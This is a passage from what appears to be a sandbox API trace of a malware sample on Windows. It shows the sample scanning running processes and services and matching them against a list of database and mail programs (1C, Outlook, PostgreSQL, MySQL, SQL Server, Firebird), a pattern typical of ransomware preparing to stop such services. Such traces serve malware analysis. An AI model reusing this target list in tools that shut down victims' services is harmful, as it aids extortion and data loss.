(lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0257.096] lstrlenW (lpString="Themes") returned 6 [0257.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0257.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0257.096] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0257.096] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0257.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0257.096] lstrlenW (lpString="UxSms") returned 5 [0257.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0257.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0257.097] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0257.097] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0257.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0257.097] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59ce98 | out: hHeap=0x540000) returned 1 [0257.097] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12c [0257.097] Process32FirstW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0257.098] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0257.098] lstrlenW (lpString="System") returned 6 [0257.098] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0257.098] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0257.098] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0257.098] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0257.098] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0257.098] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0257.098] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0257.098] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0257.098] lstrlenW (lpString="smss.exe") returned 8 [0257.098] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0257.098] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0257.099] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0257.099] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0257.099] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0257.099] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0257.099] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0257.099] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0257.099] lstrlenW (lpString="csrss.exe") returned 9 [0257.099] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0257.099] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0257.099] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0257.099] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0257.099] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0257.099] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0257.099] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0257.099] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0257.100] lstrlenW (lpString="wininit.exe") returned 11 [0257.100] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0257.100] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0257.100] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0257.100] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0257.100] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0257.100] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0257.100] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0257.100] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0257.100] lstrlenW (lpString="csrss.exe") returned 9 [0257.100] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0257.100] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0257.100] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0257.100] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0257.100] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0257.100] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0257.100] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0257.100] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0257.100] lstrlenW (lpString="winlogon.exe") returned 12 [0257.100] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0257.101] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0257.101] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0257.101] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0257.101] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0257.101] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0257.101] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0257.101] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0257.101] lstrlenW (lpString="services.exe") returned 12 [0257.101] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0257.101] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0257.101] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0257.101] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0257.101] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0257.101] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0257.101] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0257.101] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0257.101] lstrlenW (lpString="lsass.exe") returned 9 [0257.101] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0257.101] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0257.101] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0257.101] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0257.101] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0257.102] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0257.102] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0257.102] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0257.102] lstrlenW (lpString="lsm.exe") returned 7 [0257.102] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0257.102] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0257.102] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0257.102] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0257.102] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0257.102] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0257.102] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0257.102] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.102] lstrlenW (lpString="svchost.exe") returned 11 [0257.102] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0257.102] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0257.102] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0257.102] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0257.102] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0257.102] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0257.102] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0257.102] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.103] lstrlenW (lpString="svchost.exe") returned 11 [0257.103] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0257.103] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0257.103] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0257.103] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0257.103] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0257.103] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0257.103] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0257.103] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.103] lstrlenW (lpString="svchost.exe") returned 11 [0257.103] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0257.103] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0257.103] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0257.103] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0257.103] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0257.103] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0257.103] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0257.103] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.104] lstrlenW (lpString="svchost.exe") returned 11 [0257.104] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0257.104] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0257.104] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0257.104] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0257.104] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0257.104] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.104] lstrlenW (lpString="svchost.exe") returned 11 [0257.104] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0257.104] lstrlenW (lpString="audiodg.exe") returned 11 [0257.104] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.104] lstrlenW (lpString="svchost.exe") returned 11 [0257.105] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.105] lstrlenW (lpString="svchost.exe") returned 11 [0257.105] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0257.105] lstrlenW (lpString="userinit.exe") returned 12 [0257.105] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0257.105] lstrlenW (lpString="dwm.exe") returned 7 [0257.105] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0257.105] lstrlenW (lpString="explorer.exe") returned 12 [0257.106] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0257.106] lstrlenW (lpString="spoolsv.exe") returned 11 [0257.106] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0257.106] lstrlenW (lpString="taskhost.exe") returned 12 [0257.106] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.106] lstrlenW (lpString="svchost.exe") returned 11 [0257.106] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0257.106] lstrlenW (lpString="chrome64b.exe") returned 13 [0257.106] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x588, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0257.107] lstrlenW (lpString="reader_sl.exe") returned 13 [0257.107] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0257.107] lstrlenW (lpString="dllhost.exe") returned 11 [0257.107] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x598, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0257.107] lstrlenW (lpString="cmd.exe") returned 7 [0257.107] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x680, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0257.108] lstrlenW (lpString="conhost.exe") returned 11 [0257.108] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x680, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0257.108] CloseHandle (hObject=0x12c) returned 1 [0257.108] Sleep (dwMilliseconds=0x1f4) [0257.926] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4575f38 [0258.037] EnumServicesStatusExW (in: hSCManager=0x4575f38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0258.037] GetLastError () returned 0xea [0258.037] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xcec) returned 0x5920f0 [0258.037] EnumServicesStatusExW (in: hSCManager=0x4575f38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5920f0, cbBufSize=0xcec, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5920f0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0258.038] CloseServiceHandle (hSCObject=0x4575f38) returned 1 [0258.038] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0258.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0258.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0258.038] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0258.038] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0258.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0258.038] lstrlenW (lpString="AudioSrv") returned 8 [0258.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0258.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0258.038] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0258.038] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0258.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0258.038] lstrlenW (lpString="BFE") returned 3 [0258.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0258.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0258.038] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0258.038] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0258.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0258.038] lstrlenW (lpString="CryptSvc") returned 8 [0258.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0258.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0258.038] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0258.038] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0258.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0258.039] lstrlenW (lpString="CscService") returned 10 [0258.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0258.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0258.039] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0258.039] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0258.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0258.039] lstrlenW (lpString="DcomLaunch") returned 10 [0258.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0258.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0258.039] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0258.039] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0258.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0258.039] lstrlenW (lpString="Dhcp") returned 4 [0258.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0258.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0258.039] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0258.039] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0258.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0258.039] lstrlenW (lpString="Dnscache") returned 8 [0258.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0258.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0258.039] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0258.039] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0258.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0258.039] lstrlenW (lpString="DPS") returned 3 [0258.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0258.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0258.039] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0258.039] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0258.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0258.039] lstrlenW (lpString="eventlog") returned 8 [0258.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0258.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0258.039] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0258.040] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0258.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0258.040] lstrlenW (lpString="EventSystem") returned 11 [0258.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0258.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0258.040] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0258.040] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0258.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0258.040] lstrlenW (lpString="gpsvc") returned 5 [0258.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0258.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0258.040] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0258.040] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0258.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0258.040] lstrlenW (lpString="LanmanWorkstation") returned 17 [0258.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0258.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0258.040] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0258.040] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0258.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0258.040] lstrlenW (lpString="lmhosts") returned 7 [0258.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0258.040] lstrcmpiW 